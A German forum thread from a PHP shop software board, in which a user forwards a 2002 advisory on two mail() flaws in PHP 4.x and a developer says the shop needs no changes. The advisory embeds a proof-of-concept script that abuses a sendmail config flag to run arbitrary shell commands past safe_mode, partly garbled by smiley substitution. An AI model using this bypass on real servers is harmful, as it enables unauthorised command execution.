Sicherheitslöcher in mail() PHP Funktion

Hallo phpeppershop-Entwickler,

folgende Meldung hat mich soeben erreicht, und möchte wissen, ob im phpeppershop was geändert werden muss:


PHP 4.x - 4.2.2

Zwei Sicherheitslöcher existieren in der mail() PHP Funktion.

* Der Angreifer kann beliebige Programme/Code auszuführen durch Übergehen der safe_mode Restriktion.
* Der Angreifer kann mit Hilfe der mail() Funktion in PHP ein offenes Relay erstellen, wenn die mail() Funktion nicht mit Vorsicht implementiert wurde.



Wie kann ich testen, ob mein Rechner betroffen ist?
Überprüfen Sie die installierten PHP Skripte ob die mail() Funktion benutzt wurde. Dazu sollten Sie sich per SSH einloggen, nach '/usr/local/httpd/htdocs' wechseln und 'grep "mail()" * -r' eintippen. Die gefundenen Dateien sollten überprüft werden.

Zu Sicherheitsloch Nr. 1 anbei ein Testskript welches mit sendmail läuft.

- ---------- bypass_safe_mode.php ----------

<?
$script=tempnam("/tmp", "script"winking smiley;
$cf=tempnam("/tmp", "cf"winking smiley;

$fd = fopen($cf, "w"winking smiley;
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script"winking smiley;
fclose($fd);

$fd = fopen($script, "w"winking smiley;
fwrite($fd, "rm -f $script $cf; "winking smiley;
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf"winking smiley;
?>

- ---------- bypass_safe_mode.php ----------

Wie kann ich diese Sicherheitslücke beseitigen?
Im Moment müssen Sie auf ein aktualisiertes PHP 4.2.3 warten. Das Sicherheitsloch Nr.1, wurde im aktuellen CVS Snapshot von PHP behoben.
Für das zweite existieren derzeit noch keine Workarounds. Sie sollten jedoch um die Gefahr zu minimieren den Message Body einer Mail mittels 'sendmail -t' filtern.

Seit wann existiert diese Sicherheitslücke?
Das Problem wurde erstmalig am 24.08.2002 in den einschlägigen Security-Foren veröffentlicht.

Was kann der Angreifer bei Ausnutzung dieser Lücke nutzen / welche Rechte erlangt er ?
Der Angreifer kann eine Shell unter Benutzer Rechten des http Daemon erlangen und ein Offenes Relay in PHP programmieren und hat Zugriff auf die webXX Verzeichnisse.


Gruss Joggi
Hallo Joggi,

das "Problem" liegt beim PHP selbst. Der Shop gestattet keine beliebige Verwendung der "mail()"-Funktion. Es sind also keine Anpassungen oder Erweiterungen notwendig. Jedoch sollte jeder Hosting-Provider den Einsatz der mail-Funktoinalität seiner Kunden gut überwachen, damit nicht plötzlich einer ein Mail-Relay öffnet.

Gruss
Reto



=======================
Entwickler PhPepperShop
=======================
Hallo Reto,

ja klar, sit eigentlich im Php; ich wollte mir nur sicher sein das ich nicht den ganzen Shop durchsuchen muss ;-)

Herzlichen Dank für Deine Antwort

Gruss Joggi
In diesem Forum dürfen leider nur registrierte Teilnehmer schreiben.

Klicken Sie hier, um sich einzuloggen